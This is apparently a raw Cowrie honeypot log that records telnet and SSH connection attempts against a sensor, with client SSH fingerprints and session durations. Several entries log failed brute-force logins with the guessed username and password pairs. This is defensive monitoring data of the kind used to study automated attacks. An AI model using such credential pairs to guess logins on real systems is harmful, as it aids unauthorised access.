{"eventid":"cowrie.session.closed","duration":33.0602502822876,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:26.504346Z","src_ip":"209.159.146.115","session":"9a2d573f4fd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":53110,"dst_ip":"159.203.135.109","dst_port":23,"session":"57ac19ab9aab","protocol":"telnet","message":"New connection: 23.254.167.244:53110 (159.203.135.109:23) [session: 57ac19ab9aab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:26.645097Z"}
{"eventid":"cowrie.session.closed","duration":30.236059188842773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:28.029701Z","src_ip":"209.159.146.115","session":"fdbd417e71a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":55972,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fa9d013c642","protocol":"telnet","message":"New connection: 23.254.167.244:55972 (159.203.135.109:23) [session: 9fa9d013c642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:28.340675Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40452,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b7bcbcc3ee9","protocol":"telnet","message":"New connection: 209.159.146.115:40452 (159.203.135.109:23) [session: 7b7bcbcc3ee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:28.922165Z"}
{"eventid":"cowrie.session.closed","duration":33.19112253189087,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:31.346062Z","src_ip":"209.159.146.115","session":"282cbc94843b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":59194,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed7d9b511010","protocol":"telnet","message":"New connection: 23.254.167.244:59194 (159.203.135.109:23) [session: ed7d9b511010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:31.503290Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":53028,"dst_ip":"159.203.135.109","dst_port":23,"session":"e02dc23e6b7a","protocol":"telnet","message":"New connection: 209.159.146.115:53028 (159.203.135.109:23) [session: e02dc23e6b7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:32.155770Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":59922,"dst_ip":"159.203.135.109","dst_port":23,"session":"919063bec5c8","protocol":"telnet","message":"New connection: 23.254.167.244:59922 (159.203.135.109:23) [session: 919063bec5c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:32.352730Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":58996,"dst_ip":"159.203.135.109","dst_port":23,"session":"cde36c39c829","protocol":"telnet","message":"New connection: 209.159.146.115:58996 (159.203.135.109:23) [session: cde36c39c829]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:32.962346Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":33658,"dst_ip":"159.203.135.109","dst_port":23,"session":"481c10bfefbb","protocol":"telnet","message":"New connection: 23.254.167.244:33658 (159.203.135.109:23) [session: 481c10bfefbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:33.866809Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":34358,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d8af4da0a66","protocol":"telnet","message":"New connection: 23.254.167.244:34358 (159.203.135.109:23) [session: 8d8af4da0a66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:34.705462Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":33512,"dst_ip":"159.203.135.109","dst_port":23,"session":"01fdb1fecfe8","protocol":"telnet","message":"New connection: 23.254.167.244:33512 (159.203.135.109:23) [session: 01fdb1fecfe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:34.763328Z"}
{"eventid":"cowrie.session.closed","duration":31.743374586105347,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:39.697551Z","src_ip":"209.159.146.115","session":"619ab95e31c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":43490,"dst_ip":"159.203.135.109","dst_port":23,"session":"c313c10ae029","protocol":"telnet","message":"New connection: 209.159.146.115:43490 (159.203.135.109:23) [session: c313c10ae029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:40.051723Z"}
{"eventid":"cowrie.session.closed","duration":35.46042490005493,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:40.390935Z","src_ip":"209.159.146.115","session":"797f2adc949a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":43392,"dst_ip":"159.203.135.109","dst_port":23,"session":"634b850b20ca","protocol":"telnet","message":"New connection: 23.254.167.244:43392 (159.203.135.109:23) [session: 634b850b20ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:40.673339Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.34.121","src_port":38900,"dst_ip":"159.203.135.109","dst_port":22,"session":"1770a9454a01","protocol":"ssh","message":"New connection: 157.66.34.121:38900 (159.203.135.109:22) [session: 1770a9454a01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:40.746066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:40.750509Z","src_ip":"157.66.34.121","session":"1770a9454a01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:40.986659Z","src_ip":"157.66.34.121","session":"1770a9454a01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"secret","message":"login attempt [test1/secret] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:41.965316Z","src_ip":"157.66.34.121","session":"1770a9454a01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":48106,"dst_ip":"159.203.135.109","dst_port":23,"session":"9419adb7ceee","protocol":"telnet","message":"New connection: 185.26.126.47:48106 (159.203.135.109:23) [session: 9419adb7ceee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:42.511261Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":58208,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba7723d6814c","protocol":"telnet","message":"New connection: 209.159.146.115:58208 (159.203.135.109:23) [session: ba7723d6814c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:43.079598Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:43.206998Z","src_ip":"157.66.34.121","session":"1770a9454a01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.081326961517334,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:43.728701Z","src_ip":"23.254.167.244","session":"87be0f79d8b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.3714394569397,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:45.450179Z","src_ip":"209.159.146.115","session":"195fe4ba7dcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37406,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecafb8931b29","protocol":"ssh","message":"New connection: 159.203.92.129:37406 (159.203.135.109:22) [session: ecafb8931b29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:45.580755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:45.585152Z","src_ip":"159.203.92.129","session":"ecafb8931b29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:45.588920Z","src_ip":"159.203.92.129","session":"ecafb8931b29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anhuifang","password":"anhuifang","message":"login attempt [anhuifang/anhuifang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:45.598009Z","src_ip":"159.203.92.129","session":"ecafb8931b29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":40628,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bfc61b72f6e","protocol":"ssh","message":"New connection: 186.13.24.118:40628 (159.203.135.109:22) [session: 7bfc61b72f6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:46.224421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:46.228978Z","src_ip":"186.13.24.118","session":"7bfc61b72f6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:46.391890Z","src_ip":"186.13.24.118","session":"7bfc61b72f6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:46.605041Z","src_ip":"159.203.92.129","session":"ecafb8931b29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44260,"dst_ip":"159.203.135.109","dst_port":23,"session":"12154869b079","protocol":"telnet","message":"New connection: 209.159.146.115:44260 (159.203.135.109:23) [session: 12154869b079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:46.617029Z"}
{"eventid":"cowrie.session.closed","duration":32.76084923744202,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:46.800625Z","src_ip":"209.159.146.115","session":"95edd5a7644c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":50088,"dst_ip":"159.203.135.109","dst_port":23,"session":"63a0ff0a05c5","protocol":"telnet","message":"New connection: 23.254.167.244:50088 (159.203.135.109:23) [session: 63a0ff0a05c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:47.047571Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Welcome@1234","message":"login attempt [ubuntu/Welcome@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:47.075949Z","src_ip":"186.13.24.118","session":"7bfc61b72f6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.99185609817505,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:48.200989Z","src_ip":"23.254.167.244","session":"1d245c5d66b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:48.241554Z","src_ip":"186.13.24.118","session":"7bfc61b72f6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.66761779785156,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:49.121684Z","src_ip":"23.254.167.244","session":"4393908987b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.01884436607361,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:49.217443Z","src_ip":"209.159.146.115","session":"12b4abcfa8b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.88707447052002,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:49.678820Z","src_ip":"209.159.146.115","session":"61ba1aba6cfa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":40538,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca9e5c3e915e","protocol":"ssh","message":"New connection: 78.128.112.74:40538 (159.203.135.109:22) [session: ca9e5c3e915e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:49.961869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:50.199189Z","src_ip":"78.128.112.74","session":"ca9e5c3e915e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:50.202708Z","src_ip":"78.128.112.74","session":"ca9e5c3e915e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":53654,"dst_ip":"159.203.135.109","dst_port":23,"session":"83ecdfeb56aa","protocol":"telnet","message":"New connection: 23.254.167.244:53654 (159.203.135.109:23) [session: 83ecdfeb56aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:50.483601Z"}
{"eventid":"cowrie.session.closed","duration":35.2517945766449,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:50.877103Z","src_ip":"23.254.167.244","session":"bb949c7b0820","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"portal","message":"login attempt [user/portal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:51.572517Z","src_ip":"78.128.112.74","session":"ca9e5c3e915e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.11224579811096,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:52.391957Z","src_ip":"209.159.146.115","session":"ea658e5932f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":56648,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ef9e3b9d622","protocol":"telnet","message":"New connection: 23.254.167.244:56648 (159.203.135.109:23) [session: 2ef9e3b9d622]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:52.640582Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:52.699389Z","src_ip":"78.128.112.74","session":"ca9e5c3e915e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.68578267097473,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:53.831287Z","src_ip":"23.254.167.244","session":"b87f4a5eeec1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":36182,"dst_ip":"159.203.135.109","dst_port":23,"session":"57526a459f4e","protocol":"telnet","message":"New connection: 23.254.167.244:36182 (159.203.135.109:23) [session: 57526a459f4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:58.225856Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":34406,"dst_ip":"159.203.135.109","dst_port":23,"session":"07f401273c5f","protocol":"telnet","message":"New connection: 23.254.167.244:34406 (159.203.135.109:23) [session: 07f401273c5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:58.302895Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":37314,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c556e658a9f","protocol":"telnet","message":"New connection: 23.254.167.244:37314 (159.203.135.109:23) [session: 2c556e658a9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:58.781328Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57488,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf74fff1a170","protocol":"telnet","message":"New connection: 209.159.146.115:57488 (159.203.135.109:23) [session: cf74fff1a170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:59.091128Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":38978,"dst_ip":"159.203.135.109","dst_port":23,"session":"62e942f652ad","protocol":"telnet","message":"New connection: 209.159.146.115:38978 (159.203.135.109:23) [session: 62e942f652ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:02.380957Z"}
{"eventid":"cowrie.session.closed","duration":33.92451763153076,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:02.846600Z","src_ip":"209.159.146.115","session":"7b7bcbcc3ee9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.77503681182861,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:03.080641Z","src_ip":"23.254.167.244","session":"dd038f0d805b","protocol":"telnet"}
